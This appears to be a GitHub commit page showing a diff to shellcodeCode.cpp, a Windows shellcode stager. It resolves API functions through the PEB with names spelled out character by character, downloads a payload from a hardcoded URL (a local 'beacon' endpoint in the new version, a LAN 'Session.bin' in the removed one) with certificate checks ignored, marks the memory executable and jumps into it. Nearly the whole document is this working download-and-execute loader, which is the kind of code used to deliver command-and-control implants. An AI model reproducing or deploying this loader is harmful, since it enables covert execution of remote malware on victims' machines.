Skip to content

Commit 481e989

Browse files
10cks10cks
authored
Update shellcodeCode.cpp
1 parent eb5037b commit 481e989

1 file changed

Lines changed: 61 additions & 77 deletions

File tree

‎shellcodeCode/shellcodeCode.cpp‎

Lines changed: 61 additions & 77 deletions
Original file line numberDiff line numberDiff line change
@@ -1,101 +1,85 @@
1-
#include "head.h"
1+
#include "head.h"
22
#include <intrin.h>
3-
//char* UrlAddressStartingPoint();
4-
__declspec(noinline) ULONG_PTR caller(VOID);
5-
void StartingPoint() {
6-
73

4+
__declspec(noinline) ULONG_PTR caller(VOID);
85

9-
char Kernel32[] = kernel32dll;
10-
char Wininet[] = wininetdll;
11-
char LoadLibraryA_Func[] = var10;
12-
BYTE read[] = var1;
13-
BYTE openurl[] = var2;
14-
char internetOpen[] = var3;
15-
char Vir[] = var5;
16-
17-
BYTE advapi32[] = { 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', 0 };
18-
BYTE hkeyLocalMachine[] = { 'H', 'K', 'E', 'Y', '_', 'L', 'O', 'C', 'A', 'L', '_', 'M', 'A', 'C', 'H', 'I', 'N', 'E', 0 };
19-
BYTE netFrameworkSetup[] = { 'S', 'O', 'F', 'T', 'W', 'A', 'R', 'E', '\\', 'M', 'i', 'c', 'r', 'o', 's', 'o', 'f', 't', '\\', 'N', 'E', 'T', ' ', 'F', 'r', 'a', 'm', 'e', 'w', 'o', 'r', 'k', ' ', 'S', 'e', 't', 'u', 'p', '\\', 'N', 'D', 'P', '\\', 'v', '3', '.', '5', 0 };
20-
BYTE install[] = { 'I', 'n', 's', 't', 'a', 'l', 'l', 0 };
21-
BYTE f1[] = { 'R', 'e', 'g', 'O', 'p', 'e', 'n', 'K', 'e', 'y', 'E', 'x', 'A', '\0' };
22-
BYTE f2[] = { 'R', 'e', 'g', 'Q', 'u', 'e', 'r', 'y', 'V', 'a', 'l', 'u', 'e', 'E', 'x', 'A', '\0' };
23-
BYTE f3[] = { 'R', 'e', 'g', 'C', 'l', 'o', 's', 'e', 'K', 'e', 'y', '\0' };
6+
void StartingPoint() {
7+
BYTE Kernel32[] = kernel32dll;
8+
BYTE Wininet[] = wininetdll;
9+
BYTE LoadLibraryA_Func[] = var10;
10+
BYTE read[] = var1;
11+
BYTE openurl[] = var2;
12+
BYTE internetOpen[] = var3;
13+
BYTE Vir[] = var5;
14+
BYTE VirProtect[] = var6;
15+
16+
BYTE HttpQueryInfoA_Func[] = { 'H','t','t','p','Q','u','e','r','y','I','n','f','o','A',0 };
17+
BYTE InternetCloseHandle_Func[] = { 'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e',0 };
2418

2519
#if defined(_AMD64_)
26-
ULONG_PTR dwKernelBase = GetKernel32DLL((ULONG_PTR)((PPEB_LDR_DATA)((_PPEB)__readgsqword(0x60))->pLdr)->InMemoryOrderModuleList.Flink);
20+
ULONG_PTR dwKernelBase = GetKernel32DLL((ULONG_PTR)((PPEB_LDR_DATA)((_PPEB)__readgsqword(0x60))->pLdr)->InMemoryOrderModuleList.Flink);
2721
#else
28-
ULONG_PTR dwKernelBase = GetKernel32DLL((ULONG_PTR)((PPEB_LDR_DATA)((_PPEB)__readfsdword(0x30))->pLdr)->InMemoryOrderModuleList.Flink);
22+
ULONG_PTR dwKernelBase = GetKernel32DLL((ULONG_PTR)((PPEB_LDR_DATA)((_PPEB)__readfsdword(0x30))->pLdr)->InMemoryOrderModuleList.Flink);
2923
#endif
3024

31-
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)GetProcAddress_Func(dwKernelBase);
32-
FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress((HMODULE)dwKernelBase, LoadLibraryA_Func);
33-
34-
HMODULE kernel32DLLAddr = fn_LoadLibraryA(Kernel32);
35-
HMODULE winNetDllAddr = fn_LoadLibraryA(Wininet);
36-
HMODULE hAdvapi32 = fn_LoadLibraryA((char*)advapi32);
25+
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)GetProcAddress_Func(dwKernelBase);
26+
FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress((HMODULE)dwKernelBase, (LPCSTR)LoadLibraryA_Func);
3727

38-
REGOPENKEYEXA RegOpenKeyExA = (REGOPENKEYEXA)fn_GetProcAddress(hAdvapi32, (char*)f1);
39-
REGQUERYVALUEEXA RegQueryValueExA = (REGQUERYVALUEEXA)fn_GetProcAddress(hAdvapi32, (char*)f2);
40-
REGCLOSEKEY RegCloseKey = (REGCLOSEKEY)fn_GetProcAddress(hAdvapi32, (char*)f3);
28+
HMODULE kernel32DLLAddr = fn_LoadLibraryA((LPCSTR)Kernel32);
29+
HMODULE winNetDllAddr = fn_LoadLibraryA((LPCSTR)Wininet);
4130

42-
FN_InternetOpenA TOpen = (FN_InternetOpenA)fn_GetProcAddress(winNetDllAddr, internetOpen);
43-
FN_InternetOpenUrlA TOpenUrlA = (FN_InternetOpenUrlA)fn_GetProcAddress(winNetDllAddr, (char*)openurl);
44-
FN_InternetReadFile TReadFile = (FN_InternetReadFile)fn_GetProcAddress(winNetDllAddr, (char*)read);
45-
FN_VirtualAlloc TVirtualAlloc = (FN_VirtualAlloc)fn_GetProcAddress(kernel32DLLAddr, Vir);
31+
FN_InternetOpenA TOpen = (FN_InternetOpenA)fn_GetProcAddress(winNetDllAddr, (LPCSTR)internetOpen);
32+
FN_InternetOpenUrlA TOpenUrlA = (FN_InternetOpenUrlA)fn_GetProcAddress(winNetDllAddr, (LPCSTR)openurl);
33+
FN_InternetReadFile TReadFile = (FN_InternetReadFile)fn_GetProcAddress(winNetDllAddr, (LPCSTR)read);
34+
FN_VirtualAlloc TVirtualAlloc = (FN_VirtualAlloc)fn_GetProcAddress(kernel32DLLAddr, (LPCSTR)Vir);
35+
FN_VirtualProtect TVirtualProtect = (FN_VirtualProtect)fn_GetProcAddress(kernel32DLLAddr, (LPCSTR)VirProtect);
4636

47-
DWORD bytes_read;
48-
ULONG_PTR baseAddress = caller();
49-
//char* url = NULL;
50-
//while (true)
51-
//{
52-
// if (*(DWORD*)baseAddress==0xFFFFFFFF)
53-
// {
54-
// url = (char*)baseAddress + 4;
55-
// //MessageBoxA(0, url, 0, 0);
5637

57-
// }
58-
// baseAddress++;
59-
//}
38+
FN_HttpQueryInfoA THttpQueryInfoA = (FN_HttpQueryInfoA)fn_GetProcAddress(winNetDllAddr, (LPCSTR)HttpQueryInfoA_Func);
39+
FN_InternetCloseHandle TInternetCloseHandle = (FN_InternetCloseHandle)fn_GetProcAddress(winNetDllAddr, (LPCSTR)InternetCloseHandle_Func);
6040

61-
BYTE Is64 = 1;
41+
BYTE url[] = { 'h', 't', 't', 'p', ':', '/', '/', '1', '2', '7', '.', '0', '.', '0', '.', '1', ':', '8', '1', '8', '1', '/', 'b', 'e', 'a', 'c', 'o', 'n', 0 };
42+
DWORD dwFlags = INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | 0x80000000 | 0x400;
6243

63-
HKEY hKey;
44+
HINTERNET session = TOpenUrlA(TOpen((LPCSTR)0, 0, NULL, 0, NULL), (LPCSTR)url, NULL, 0, dwFlags, 0);
6445

65-
LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, (char*)netFrameworkSetup, 0, KEY_READ, &hKey);
66-
if (result == ERROR_SUCCESS) {
67-
DWORD value;
68-
DWORD dataSize = sizeof(value);
69-
result = RegQueryValueExA(hKey, (char*)install, NULL, NULL, (LPBYTE)&value, &dataSize);
70-
if (result == ERROR_SUCCESS && value == 1) {
71-
Is64 = 0;
72-
}
73-
}
74-
RegCloseKey(hKey);
46+
if (session) {
7547

76-
unsigned char* addr = (unsigned char*)TVirtualAlloc(0, size, 0x3000, 0x40);
77-
//for (BYTE i = Is64 , j = 0; ((char*)&UrlAddressStartingPoint + 1)[i] != 0; i+=2, j++) {
78-
// addr[j] = (unsigned char)((char*)&UrlAddressStartingPoint + 1)[i];
79-
//}
48+
DWORD contentLength = 0;
49+
char buffer[64];
50+
DWORD bufferLength = sizeof(buffer);
8051

81-
BYTE url[] = { 'h', 't', 't', 'p', ':', '/', '/', '1', '9', '2', '.', '1', '6', '8', '.', '3', '1', '.', '8', '1', ':', '8', '0', '0', '0', '/', 'S', 'e', 's', 's', 'i', 'o', 'n', '.', 'b', 'i', 'n', 0 };
52+
if (THttpQueryInfoA(session, HTTP_QUERY_CONTENT_LENGTH, buffer, &bufferLength, NULL)) {
8253

54+
contentLength = 0;
55+
for (char* p = buffer; *p >= '0' && *p <= '9'; p++) {
56+
contentLength = contentLength * 10 + (*p - '0');
57+
}
58+
}
8359

84-
DWORD dwFlags = INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | 0x80000000 | 0x400;
60+
if (contentLength > 0) {
61+
unsigned char* addr = (unsigned char*)TVirtualAlloc(0, contentLength, MEM_COMMIT, PAGE_READWRITE);
62+
if (addr) {
63+
DWORD bytes_read;
64+
DWORD total_bytes = 0;
8565

86-
HINTERNET session = TOpenUrlA(TOpen((LPCTSTR)0, 0, NULL, 0, NULL), (char*)url, NULL, 0, dwFlags, 0);
66+
while (total_bytes < contentLength) {
67+
if (!TReadFile(session, addr + total_bytes, contentLength - total_bytes, &bytes_read)) {
68+
break;
69+
}
70+
if (bytes_read == 0) break;
71+
total_bytes += bytes_read;
72+
}
8773

88-
89-
if (session) {
90-
TReadFile(session, addr, size, &bytes_read);
91-
92-
((void(*)())addr)();
93-
}
94-
return;
74+
DWORD oldProtect;
75+
if (TVirtualProtect(addr, contentLength, PAGE_EXECUTE_READ, &oldProtect)) {
76+
((void(*)())addr)();
77+
}
78+
}
79+
}
80+
TInternetCloseHandle(session);
81+
}
82+
return;
9583
}
9684

9785
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
98-
99-
//char* UrlAddressStartingPoint(){
100-
// return (char*)"http://192.168.31.81:8000/Session.bin";
101-
//}

0 commit comments

Comments
 (0)